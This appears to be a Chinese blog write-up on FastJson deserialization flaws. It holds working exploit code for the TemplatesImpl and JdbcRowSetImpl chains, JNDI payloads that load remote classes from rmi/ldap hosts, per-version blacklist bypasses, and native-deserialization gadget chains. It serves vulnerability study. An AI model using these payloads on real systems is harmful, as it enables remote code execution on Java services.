FastJson反序列化
参考:https://www.cnblogs.com/nice0e3/p/14601670.html
FastJson用于对JSON格式的数据进行解析和打包。简单的来说就是处理json格式的数据的。例如将json转换成一个类或者是将一个类转换成一段json数据。
复读没意思 举个例子看看fastjson怎么处理json数据的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| User user = new User(); user.setAge(18); user.setName("xiaoming");
String str = JSON.toJSONString(user1);
String str = JSON.toJSONString(user1, SerializerFeature.WriteClassName);
Object user1 = JSON.parse(str); JSONObject user1 = JSON.parseObject(str); User user1 = JSON.parseObject(str, User.class);
|
FastJson的漏洞点就在于上面代码所示的@type
上 是由autotype没对传入的类做正确验证 使得攻击者可以传入恶意类
在这里我先插句话 对于一个指定类的JSON解析 这个类必须是JavaBean 为什么?
这里姑且将class -> json称为序列化 而json -> class则是反序列化
那么原因在于
序列化的时候 FastJson会调用类成员的get方法 被private修饰且没有get方法的成员不会被序列化
同理 反序列化的时候 会调用类成员的set方法 给public修饰的成员赋值
如若不是JavaBean 显然无法满足上述FastJson解析的条件
TemplatesImpl利用链
适用:FastJson 1.2.22-1.2.24
TemplatesImpl点和CB链一样 在TemplatesImpl::getOutputProperties()
你可能会问 反序列化不是调用setter吗 怎么跑到getter去了 那不是序列化处理的事吗
显然反序列化返回一个类的实例 对于默认有值的属性 也是要getter的 如果这个说服不了你 后面我们分析的时候具体来看
这里先贴上利用的EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass;
import java.util.Base64;
public class run { public static void main(String[] args) throws Exception { try { ClassPool pool = ClassPool.getDefault(); CtClass clas = pool.makeClass("evil"); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); String cmd = "Runtime.getRuntime().exec(\"touch aaa\");"; clas.makeClassInitializer().insertBefore(cmd); clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));
byte[] evilCode = clas.toBytecode(); String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{"+ "\"@type\":\"" + NASTY_CLASS +"\","+ "\"_bytecodes\":[\""+evilCode_base64+"\"],"+ "'_name':'a.b',"+ "'_tfactory':{ },"+ "'_outputProperties':{ }"+ "}\n";
Object obj = JSON.parseObject(text1, Object.class, Feature.SupportNonPublicField); } catch(Exception e) { e.printStackTrace(); } } }
|
稍微有一点复杂 我们一步步来 发现了实际上就是一个来回套的过程
gadget chain analyzation
在JSON.parseObject()处下断点 跟踪一下

首先是第一层 通过new DefaultJSONParser返回一个parser 判断第一个字符是什么 这里是{
返回一个标识LBRACE
之后调用parser.parseObject()
这里是DefaultJSONParser::parseObject()

走到 derializer.deserialze() 这里是JavaObjectDeserializer::deserialze()

上图我打了两个断点 实际上是走到parser.parse() 并没有到parseObject() 是因为我们制定了反序列化的type 从而type != Object.class
为false
调用parser.parse()之后发现 我们又回到了DefaultJSONParser

根据之前的标识LBRACE
这里匹配进了parseObject(object, fieldName)

这个parseObject()很长 第一个关键点在最下面两断点的if语句
首先判断key是否等于JSON.DEFAULT_TYPE_KEY 这东西就是@type
然后就会loadClass我们传入的typeName类了
往下 先到ObjectDeserializer desrializer = config.getDeserializer(clazz)

这里面的逻辑是ParseConfig::getDeserializer() -> ParserConfig::createJavaBeanDeserializer -> JavaBeanInfo::build()

直接进到JavaBeanInfo::build()里 这里面的逻辑实际上就是一个个获取类成员的setter和getter方法 然后返回一个JavaBeanInfo对象 方便后面反序列化处理

而在这之中便有我们想要的TemplatesImpl::getOutputProperties()
在这之后我们回到 DefaultJSONParser

进入这个return deserialze() 那么这个deserialze()在哪呢
答案是 JavaBeanDeserializer::deserialze() 直接到下图的断点

可以看到此时key正好是_bytecodes
跟进parseField 最后到了DefaultFieldDeserializer::parseField()

调用setValue给_bytecodes赋值 这里value为什么突然从之前base64传入变成了字节码 我们稍后解释
那我们的getOutputProperties()怎么来呢? 进到这个setValue里

调试之后可以看到getOutputProperties方法会进到上述蓝行的if子句中 通过method.invoke()调用
但是因为CB链的恶意类加载是会报错的 所以直接进入报错流程了 但是最后还是正常通了整条链
base64?
现在我们来谈谈_bytecodes
原先传入的base64数据怎么变成正常字节码了
回到之前DefaultFieldDeserializer::parseField()中

进到71行value的赋值语句 到ObjectArrayCodec::deserialze

跟进这个parser.parseArray()

到这个DefaultJSONParser::deserializer.deserialze()这里 继续跟进

又回到了ObjectArrayCodec::deserialze() 这里有对bytes的处理 跟进这个bytesValue()

这下恍然大悟 原来是这里做了base64的decode
end
上面大致分析了下TemplatesImpl的利用链 但实际上这个链子的条件非常苛刻
因为最开始的parseObject()中需要加入Feature.SupportNonPublicField 在真实环境中基本不会用到
JdbcRowSetImpl利用链
适用:fastjson <= 1.2.24 && RMI <= jdk 6u132 7u122 8u113 && LADP <= jdk 6u211 7u201 8u191
直接上EXP看的清晰一点
1 2
| String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1389/obj\", \"autoCommit\":true}"; JSON.parse(PoC);
|
首先明确我们解析的类指定是com.sun.rowset.JdbcRowSetImpl
然后再看属性
分别是dataSourceName
和autoCommit
根据fastjson解析时会调用setter和getter的性质 我们精确定位到JdbcRowSetImpl::setAutoCommit()
看到当conn为空时 调用this.connect() 继续跟进

可以看到 有这么一段var1.lookup(this.getDataSourceName())

因此我们控制dataSourceName
通过lookup()
就有好几条路可走 比如rmi或者ldap都可以
run.java
1 2 3 4 5 6 7 8 9 10 11 12
| import com.alibaba.fastjson.JSON;
public class run { public static void main(String[] args) throws Exception { try { String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1389/obj\", \"autoCommit\":true}"; JSON.parse(PoC); } catch(Exception e) { e.printStackTrace(); } } }
|
RMIServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIServer { public static void main(String[] args) { try { String url = "http://127.0.0.1:8000/"; Registry registry = LocateRegistry.createRegistry(1389); Reference reference = new Reference("test", "test", url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("obj", referenceWrapper); System.out.println("running"); }catch (Exception e){ e.printStackTrace(); } } }
|
test.java
1 2 3 4 5 6 7 8 9 10 11 12
| import java.io.IOException; public class test { public test() { } static { try { Runtime.getRuntime().exec("touch aab"); } catch (IOException e) { e.printStackTrace(); } } }
|
先用python给编译出来的test.class挂载在127.0.0.1:8000 随后启动RMIServer 最后再运行run
各版本FastJson Bypass
缝缝补补又是一年啊
1.2.25 ≤ FastJson ≤ 1.2.41
自1.2.25起 autotype默认为false
AutoType为false时只允许白名单的类 但白名单默认是空的 所以该状态不会反序列化任何类
AutoType为true时是基于内置黑名单来实现安全的
增加了checkAutoType方法 在该方法中进行黑白名单类校验(从字符串开头进行匹配className.startsWith(deny))
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;"
什么特殊检测 + 替换
1 2 3 4 5 6 7 8 9 10 11
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig;
public class run { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"rmi://127.0.0.1:1389/obj\", \"autoCommit\":true}"; JSON.parse(PoC); } }
|
FastJson = 1.2.42
这个版本把黑名单改成Hash值 checkAutoType添加了L
和;
的过滤
然而还是对开头和结尾替换一次 双写就能绕过
"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;"
FastJson = 1.2.43
这下LL双写不行了 但是换个特殊替换又行了
"@type": "[com.sun.rowset.JdbcRowSetImpl"[{
1.2.4 < FastJson < 1.2.46
对[
也做了限制
想要绕过的话需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列 < 3.5.0的版本
pom.xml
1 2 3 4 5
| <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.4.6</version> </dependency>
|
run.java
1 2 3 4 5 6 7 8 9 10
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig;
public class run { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String PoC = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://127.0.0.1:1389/obj\"}}"; JSON.parse(PoC); } }
|
这个和rmi ldap利用原理类似 这里就不开坑了
1.2.25 ≤ FastJson ≤ 1.2.47 通杀
1.2.46给更多类添加了黑名单 包括JndiDataSourceFactory
给出EXP
1 2 3 4 5 6 7 8
| import com.alibaba.fastjson.JSON;
public class run { public static void main(String[] args) { String PoC = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1389/obj\",\"autoCommit\":true}}"; JSON.parse(PoC); } }
|
用到了java.lang.Class 这个类显然不会被黑名单禁用 设置val属性 后面是正常JdbcRowSetImpl调用
这个java.lang.class类对应的deserializer为MiscCodec
deserialize时会取json串中的val值并load这个val对应的class
如果fastjson cache为true 就会缓存这个val对应的class到全局map中
再次通过checkAutotype检查com.sun.rowset.JdbcRowSetImpl类时
由于之前缓存了该类到map 所以TypeUtils.getClassFromMapping(typeName) == null会一直为false 永远不会抛出异常
接着往下执行从全局map中便获取到了这个class
FastJson < 1.2.66
1.2.48中MiscCodec处理Class类的地方设置了cache为false
基于黑名单绕过 服务端必须有对应类才能使用
1 2 3 4
| {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://1.1.1.1:1389/Calc"} {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://1.1.1.1:1389/Calc"} {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://1.1.1.1:1389/Calc"} {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap:/1.1.1.1:1389/Calc"}}
|
FastJson ≤ 1.2.68
留个坑
Tomcat bcel字节码加载
留个坑
FastJson原生反序列化
FastJson <= 1.2.48 原生反序列化通杀
参考:https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E5%89%8D%E8%A8%80
原理是先从找继承了Serializable接口的类入手 最后找到JSONArray和JSONObject
但是这两个类都没有readObject()方法 那就只能通过其他类的readObject()中转触发
明确一点 我们找Serialziable的继承实际上只是为了做一个封装 因为这里是做原生反序列化 并没有使用@autotype
从JSONArray入手 其父类JSON中有一个toString()方法 连续调用了toJSONString()

结论上 这里是会调用this的getter方法的 对于JSONArray则是每一个Object都会调用
有了getter 那不难想到动态类加载的TemplatesImpl::getOutputProperties() 或者 LazyMap::get()
然后前面得连上toString() + readObject()
CC5的BadAttributeValueException::readObject()正好补上了缺口
因此原生序列化的gadget链如下 这里用TemplatesImpl::getOutputProperties()
1 2 3 4 5 6 7 8 9
| Gadget chain: ObjectInputStream::readObject() -> BadAttributeValueExpException::readObject() -> JSONArray::toString() -> TemplatesImpl::getOutputProperties() -> TemplatesImpl::newTransformer() -> TemplatesImpl::getTransletInstance() -> TemplatesImpl::defineTransletClasses() -> TransletClassLoader::defineClass()
|
payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| import com.alibaba.fastjson.JSONArray; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field;
public class run { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"touch aac\");"); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", bytes); setFieldValue(templates, "_name", "jed"); setFieldValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valField = val.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(val, jsonArray);
unserialize("fastjson.bin"); }
public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException { Class clazz = obj.getClass(); Field classField = clazz.getDeclaredField(fieldName); classField.setAccessible(true); classField.set(obj, fieldValue); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("fastjson.bin")); oos.writeObject(obj); }
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); } }
|
FastJson 全版本 原生反序列化通杀
fastjson 1.2.83 deprecated
fastjson在1.2.49后JSONArray和JSONObject类拥有了自己的readObject()方法
在readObject中对于恶意类做了拦截 然而 却是在SecureObjectInputStream类中重写了resolveClass
那我们只需要通过父类ObjectInputStream 让其不调用resolveClass 自然就进不到他的过滤中了

直接看下来 实际上只要保证恶意类成为REFERENCE类型就行了
How to make it?
答案是往List Set Map中添加相同对象就会写入一个引用
这里以ArrayList为例 观察writeObject()方法

进到s.writeObject()

再进到writeObject0()

这里最重要的是writeHandle() 可以看判断语句对obj做了lookup()的查询

这里便是对重复Object作REFERENCE的写入
因此 我们只需要套一层ArrayList便能通过resolveClass的check了
当然 这里不是指传两个一样的templates或者BadAttributeValueExpException实例
而是在writeObject()解析的时候只要有两个相同的Object 便会自动write一个引用
payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| import com.alibaba.fastjson.JSONArray; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.ArrayList;
public class run { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"touch aad\");"); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", bytes); setFieldValue(templates, "_name", "jed"); setFieldValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
ArrayList<Object> arrayList = new ArrayList<>(); arrayList.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valField = val.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(val, jsonArray);
arrayList.add(val);
unserialize("fastjson.bin"); }
public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException { Class clazz = obj.getClass(); Field classField = clazz.getDeclaredField(fieldName); classField.setAccessible(true); classField.set(obj, fieldValue); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("fastjson.bin")); oos.writeObject(obj); }
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); } }
|